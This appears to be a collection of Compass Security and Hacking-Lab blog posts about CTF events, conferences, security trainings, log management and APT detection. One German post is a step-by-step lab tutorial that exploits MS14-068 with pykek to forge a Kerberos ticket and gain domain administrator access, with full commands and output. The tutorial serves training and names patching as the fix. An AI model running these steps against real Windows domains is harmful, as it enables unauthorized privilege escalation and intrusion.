Hacking-Lab @ CodeMash 2017

What is CodeMash?

CodeMash is a conference for software developers and IT security professionals. It takes place every year in Sandusky, Ohio, in the U.S.

The event consists of two parts: two days of training sessions (called “PreCompiler”), followed by two days of conference with sessions. It attracts about 3’000 visitors and takes place in the Kalahari resort, which hosts, besides a huge conference center, the largest indoor water park in the U.S.

What the heck did Hacking-Lab do there?

Hacking-Lab was asked to run a Capture-The-Flag tournament at the conference. Ivano and myself took this chance and decided to visit the conference as a sponsor.

Booth

We had a sponsor booth during the conference part. Many people showed up, and we had a lot of interesting discussions! We also gave a lot of “swag” (stickers, USB chargers, etc.).

Capture-The-Flag Tournament

As mentioned above, we were running the official Capture-The-Flag (CTF) tournament of the conference. Even though it was running in parallel with all the interesting sessions at the conference, 100 participants signed up and did a great job! There was quite a neck-and-neck race between the top three, jslagle, CodingWithSpike and fire.eagle!

Win-a-shirt Challenge

Besides the CTF, we also ran a “Win-a-shirt” challenge. It was necessary to solve a small puzzle (simple cipher written in JavaScript), in order to grab a Hacking-Lab t-shirt at our booth. 110 conference visitors did so, and are happy owners of a cool t-shirt now!

    

Training Session

In the “PreCompiler” part, we had a successful, four-hour training sessions. 80 showed up and took the chance to learn about Hacking-Lab. We assisted them in getting ready for the CTF, and they could solve some “Step-By-Step” challenges in Hacking-Lab.

Talk and Sessions

I gave a sponsor talk with the title “Capture-The-Flag Done Right: Attack/Defense System”. I explained our attack/defense system (which we used at the European Cyber Security Challenge), and made some live-demos. Besides that, we also had an “after dark” session, and a couple of “open space” sessions, where we supported CTF players.

       

Conclusion

The CodeMash conference is simply amazing! We were really impressed. Great atmosphere, friendly people, and well organized. The location is great, too. Hacking-Lab will be definitely back next year! There are already plans to run a second competition next year, in addition to the CTF. It should be more like a scavenger hunt, with puzzles and riddles. Perhaps, pretty much like our Hacky Easter events.

Come’n’Hack Day 2015

Being a security analyst at Compass Security is an interesting thing, no doubt. Besides interesting projects, there is plenty of know-how transfer and interactions between the employees. For example, each year, all security analysts come together for an event called Come’n’Hack Day. During this year’s event, they had the pleasure to perform an attack/defense hacking contest against each other.

IMG_1447

Hacking-Lab‘s new Capture The Flag (CTF) system was used for this purpose. It was only the second time this system was used for an event, after the premiere at the European Cyber Security Challenge final last October in Lucerne.

IMG_6058

The participants were spread on three teams: Proxy Foxes, Lucky Bucks and Chunky Monkeys. Each team owned servers with running applications, and had different tasks to perform in order to get points:

  • ATTACK – Attack the other team’s applications, and steal a gold nugget.
  • DEFENSE – Protect its own applications.
  • CODE-PATCHING – Find and patch vulnerabilities in its own applications.
  • AVAILABILITY – Keep the own applications up and running.
  • JEOPARDY – Solve hacking challenges (cryptography, networking, etc.).
  • POWNED – Try to exploit the other teams’ servers.

After a hard fight, the Chunky Monkeys grabbed the first place, closely followed by the Lucky Bucks:

scoring

Almost one hundred gold nuggets were stolen during the day:gold_nuggets

All attendees enjoyed the highly eventful day. With six different ways to score points, each participant could contribute to its team’s success. This makes such a CTF occasion not only a great social event idea for security analysts but potentially for any organization having technical skilled employees (IT security officers, sysadmins and/or developers)!

Compass Security at CYBSEC15 in Yverdon-les-Bains

CYBSEC15

As in past years, Compass Security will participate in the upcoming CyberSec Conference in Yverdon-les-Bains (formerly Application Security Forum – Western Switzerland). This year, we will contribute in two events:

First, Antoine Neuenschwander and Alexandre Herzog will conduct a day long training session on Tuesday, November 3rd. Participants will be able to exercise their skills and learn with step-by-step instructions on how to exploit vulnerable web applications at their own pace and with the support of the trainers within the hacking-lab.com CTF environment.

ivanoSecond, Ivano Somaini will share his practical experience of physically breaking into banks and other critical infrastructures in his talk “Social Engineering: The devil is in the details” on Wednesday, November 4th. Ivano looks forward to his first talk in the French speaking part of Switzerland. He was lately a lot in the news in the Swiss Italian and German part of Switzerland, due to his extensive interviews to Coop Cooperazione (in Italian), to the Tages Anzeiger (in German), and his participation to popular talkshow “Aeschbacher” on Swiss television SRF1 (video of the interview).

We are looking forward to meeting you at this occasion, either during the Castle evening networking event, the workshop or the conferences!

Aktuelle Security Trainings

Web Application Security Training

Die Compass Security hat im Moment im Bereich Web Security zwei Kurse ausgeschrieben. Ein Basic und ein Advanced. Unsere öffentlichen Kurse dauern jeweils 2-Tage und bestehen zur Hälfte aus praktischen Beispielen (Hands-On Lab) und zur anderen Hälfte aus Theorie. Wobei die Doing-Aufgaben in der
Regel eine Schritt-für-Schritt Anleitung sind.

Der Hacker-Angriff erfolgt zunehmend über den Browser auf Web Anwendungen. Durch die grosse Verbreitung der Web Technologie steigt der Bedarf für Sicherheit und die sichere Programmierung. Das Thema beschäftigt nicht nur E-Banking und Online Trading Anbieter, sondern auch Shops mit Kreditkarten Zahlungen, eHealth, eVoting und Anwendungen mit schützenswerten Daten. Bei diesen Seminaren erlernen Sie anhand von Theorie und praktischen Laborübungen im Hacking-Lab die OWASP TOP 10 kennen und können im Anschluss selbst Sicherheitsprobleme aufdecken, sichere Anwendungen schreiben und Security Policies verfassen.

Web Application Security Basic, 03. und 04. März 2015 in Bern (Schweiz)

http://www.csnc.ch/de/securitytraining/webapp-basic-bern_201503.html

Web Application Security Advanced, 05. und 06. März 2015 in Bern (Schweiz)

http://www.csnc.ch/de/securitytraining/webapp-advanced-bern_201503.html

Die Inhalte der Kurse können wir beliebig zusammenstellen. Weitere Themen, die im Moment nicht ausgeschrieben sind, wären:

  • DOM Injections (mittlerweile eine prominente Art von XSS)
  • AngularJS Security
  • OAuth 2
  • OpenID
  • XSLT

Secure Mobile Apps, 23. und 24. März 2015 in Bern (Schweiz)

Mit der wachsenden Verbreitung von mobilen Geräten stehen diese zunehmend im Fokus von Cyber Kriminellen. Mit einem guten App Design und der richtigen Nutzung der Hersteller API sind gute und sichere Lösungen möglich! Doch wo befinden sich die typischen Sicherheitslücken? Die Compass Security AG hat eine verwundbare Training Mobile App für Android und iOS entwickelt, um die Kursteilnehmer anhand von praktischen Beispielen in das Thema „Mobile Secure App“ einzuführen und sie für Self-Assessments und Sicherheitsfragen zu sensibilisieren.

Weitere Informationen sind unter http://www.csnc.ch/de/securitytraining/secure_mobile_apps_201503_bern.html vorhanden.

Falls Sie keinen passenden Kurs gefunden haben, schauen Sie doch in Zukunft unter http://www.csnc.ch/de/securitytraining/ vorbei. Compass Security bietet regelmässig neue Trainings an.

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS): 192.168.200.64
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): 192.168.200.64 zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC 192.168.200.64
    […]
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    […]
    |_  System time: 2014-12-07T15:07:11+01:00
    […]
    
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
    […]
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    Password:
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available

 

Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.

Gegenmassnahmen

Installation des “out-of-band” Patch MS14-068

Credits

Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.

Referenzen

[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

Challenges in Log Management

Recently, SANS Institute has published the 9th log management survey (2014). The paper identifies strengths and weaknesses in log management systems and practices. It further provides advice to improve visibility across systems with proper log collection, normalization and analysis. Log management is very important to Compass as it heavily influences forensic investigations. Evidently, accurate information needs to be available to track down incidents. This post provides a short summary of the paper and reflects Compass research and experiences in these fields.

TL:DR; Positive is, that most of the companies have some sort of log management, at least most collect logs in some form – many do log to a central log server. In summary, log management is a well-established control within companies, but there are challenges (e.g. cloud services, differences in logging by different vendors) which companies cannot solve on their own and depend on the vendors and hosting providers. To differentiate between “good” and “bad” traffic is one of the biggest challenges.

The respondents of the survey rated the following activities as the biggest challenges in log management:

  • Distinguish between normal and suspicious traffic
  • Analysis of “big data” (large amount of volumes and types of log and events)
  • Normalization and categorization of logs and security information
  • Correlation of logs from various sources
  • Cloud causes log management headaches
  • Vendors log similar events differently

The first point “distinguish between normal and suspicious traffic” is clearly a problem – especially, if the infrastructure includes different technologies and vendors and exceeds a small environment. The bad thing is, malware and therefore the malicious traffic uses also “good” traffic to communicate with C&C servers. Here, baselining your logs could help. You might also want to understand applications in-depth and get some meaning from the user’s behavior – network analysis of the given parts could help you to understand the ‘average’ traffic.

The challenges with the cloud log management are rather new – but behind the scenes the same challenges exust. Look at cloud systems as they would be systems managed “by others” and not simply “by the cloud”. Challenge yourself with the same questions as you would challenge a hosted Unified Communications (UC) or a storage provider etc. What is logged? Where is it logged? How long are the logs being kept? Are the logs collected by the central log server? Will they be processed by the security information and event management (SIEM) systems?

The respondents in the survey clearly stated that collecting logs from the cloud is still difficult. Around half of the respondents say that they feel no need to monitor apps in the cloud. Many respondents say they rely on their cloud operator’s ISMS and security services, management and controls. Compass Security has some concern with this view – ONE SHOULD log and monitor all the required information as one would with in-house services. Graham Cluley said in a blog post: “Don’t call it ‘the cloud’. Call it ‘someone else’s computer’.”. Moreover, with the shift to the “cloud”, forensic analysis is getting a big challenge which companies are facing. If a cloud provider is not willing or simply unable to provide logs, you might want to evaluate another one. Some cloud providers actually allow to export logs. See Amazon and Cloudstack.

The top three reasons to collect logs are

  • detect and/or track suspicious behavior (e.g. unauthorized access, insider abuse)
  • support IT/Network routine maintenance and operations
  • support forensic analysis

Unfortunately, the respondents have issues to make meaningful use of the logs for:

  • detection/tracking of suspicious behavior
  • detection of APT-style malware
  • prevention incidents

In a recent presentation in Jona, Compass Security highlighted the difficulties to detect suspicious behavior and thus to detect APTs. It was presented how monitoring and APT traffic detection can be achieved with the correlation of logs of DNS, Mail, Proxy and Firewall. For this purpose, the logs have been enriched with external data like IP Reputation Lists, ZeuS Tracker, DNS Blacklists, Mail Black- and Greylists to identify potential malicious traffic. There are lots of other tricks which help to identify malicious traffic.

Besides the challenges and difficulties, the survey pointed out that SIEM infrastructures have become widely used to claim some form of automated processing and/or alerting of suspicious events. Automation is the key to managing and analyzing the large amounts of data. In recent years, normalization improved but fully “normalized” log information is still not available. Log engines will help to normalize and categorize events and log information systems for many different formats.

Interesting to see is how long the different respondents spend their time on analysis their logs. Most of them spend around 4h-8h a week on log analysis (of course, this depends on the company size). Not surprising was the fact, that regulatory compliance has been one of the main drivers for determining log data retention policies.

Regarding the current SSL (padding vulnerability) discussions, here are two examples of SSLv3 logging shown to identify downgrade attacks or to just see which clients still uses SSLv3. For apache this could be used:

CustomLog logs/ssl_request_log "%t %h \"{User-agent}i\" %{SSL_PROTOCOL}x %{SSL_CIPHER}x "

For nginx the following line could be used within your nginx configuration:

log_format ssl ''$remote_addr "$http_user_agent" $ssl_cipher $ssl_protocol

Offtopic: there is a good overview of different products and how to disable SSLv3.

How Compass can help you

If you like to have some hands-on practice and get a deeper inside how to detect APTs and how they work, Compass has the following upcoming courses regarding this hot topic:

These trainings use our Hacking-Lab in order to practice with log engines to analyze real-world examples. Furthermore, our classic “Beer Talk” series in September was about APT.

Compass Security can help you in the regards of testing your log environment with simulating directed attacks or simulating APT-style malware or by analyzing your log management concept.

Conclusion

While companies implemented log management with some basic log search functionality, detecting malware in real environments or collecting logs from the cloud is still difficult. Environments grow overtime and understanding the traffic within the infrastructure is key but a somewhat tedious and time consuming task. Log engines (e.g. IDH Framework, Splunk , Log Correlation Engine (LCE from TENABLE), ELK) help to collect and analyze log information. SIEM systems help to match and correlate different events. Script languages are needed to normalize data where the log engines reach their limits. Cloud providers must support the companies to log the relevant information or provide connectors for log engines. Furthermore, there is also a “Splunk in the cloud” solution.

Please comment, if I missed challenges or difficulties. I would also be interested in your experiences regarding log management.

Keywords: SIEM, log management, logging, normalization, APT, cloud, SANS

References

Forensic Investigation Kurs in Bern

Die Teilnehmer lernen die Grundlagen der forensichen Untersuchungen anhand eines fiktiven Hacker-Angriffs. Dazu startet das Seminar mit einem Szenario, welches Schritt für Schritt aufgeklärt werden soll. Dabei werden verschiedene Übungen mit unterschiedlichen Technologien und Systemen gemacht. Diesen November führt Compass Security das erste Mal in Bern den Forensic Investigation Kurs durch.

Sind Sie an Computer Forensik interessiert? Dann ist dieser Kurs genau richtig für Sie!

Die Compass Kurse vermitteln Ihnen Theorie mit vielen praktischen Fallbeispielen, welche Sie in der geschützten Labor-Umgebung (Hacking-Lab) üben können. Anmeldungen sind bis Anfang November 2014 möglich.

Weitere Security Trainings bei Compass

APT Detection Engine based on Splunk

Compass Security is working on an APT Detection Engine based on Splunk within the Hacking-Lab environment. Hacking-Lab is a remote training lab for cyber specialists, used by more then 22’000 users world-wide, run by Security Competence GmbH.

An advanced persistent threat (APT) is a network attack in which an unauthorized person gains access to a network and stays there undetected for a long period of time. The intention of an APT attack is to steal data. APT attacks target high-profile individuals, organizations in sectors with incredibly valuable information assets, such as manufacturing, financial industry, national defense and members of critical infrastructures.

Although APT attacks are difficult to identify, the theft of data can never be completely invisible. Detecting anomalies in outbound data is what our prototype of an APT Detection Engine does. Helping your company discovering that your network has been the target of an APT attack.

We will present our efforts and findings at the upcoming Beer-Talk (September 25, 2014) in Rapperswil-Jona. If you are near Switzerland, drop in for a chat on APT and to enjoy some beer and steaks.

  • Where? Rapperswil-Jona Switzerland
  • When? September 25, 2014
  • Time? 18:00 (6pm)
  • Costs? Free (including beer & steak)

Get a glimpse on our Beer-Talk flyer and spread the word. The Compass Crew is looking forward to meeting you.

ASFWS slides and OWASP meeting tomorrow

As announced a while ago, I had the chance to organize both a workshop about our hacking-lab.com and present my talk “Advances in secure (ASP).NET development – break the hackers’ spirit” at the AppSec Forum Western Switzerland in Yverdon-les-Bains last week. I hope to soon summarize the conferences I attended in an upcoming blog article.

In the meantime, the Swiss French television RTS was part of the workshop and did a reportage aired during the 12:45 Téléjournal:

RTS-Telejournal_17octobre2013_ASFWS-workshop

As the slides are not yet published by the conference, you can already download them from this blog:

For those interested in seeing my talk live, join us tomorrow evening at 18:00 for the OWASP Zürich meeting. Registration is required and further details are available on http://lists.owasp.org/pipermail/owasp-switzerland/2013-October/000257.html.

Compass Security at ASFWS in Yverdon-les-Bains

afs-ws-logo-medium2

Compass Security is proud to be part and sponsor of the Application Security Forum – Western Switzerland (ASFWS), a conference about application, identity and cyber security which will be take place in a week’s time in Yverdon-les-Bains (15-16 October 2013).

I will run the AppSec Lab 1 (featuring the Hacking-Lab), on Wednesday 16 October in the morning. The Lab will feature various different in-depth lab cases, with the primary focus on OWASP top 10. Everybody can join in and hack, either to learn, or to compete against other participants.

In the afternoon, I will also give a talk with the title “Advances in secure (ASP).NET development – break the hackers’ spirit”. The presentation includes a discussion of security features in the cutting edge (ASP).NET 4.5, and key security points of the application lifecycle.

As sponsor, Compass Security is happy to offer 3 tickets for the conferences held Wednesday 16 October from 13:30 on. To participate, be the quickest to send me a short email in French (as the conferences being mainly held in this language) at: alexandre [dot] herzog [at] csnc [dot] ch. Winners will be notified individually via email. Good luck!

I’m looking forward meeting you at this occasion, either during the “Soirée Château” network event, the workshop or the conferences!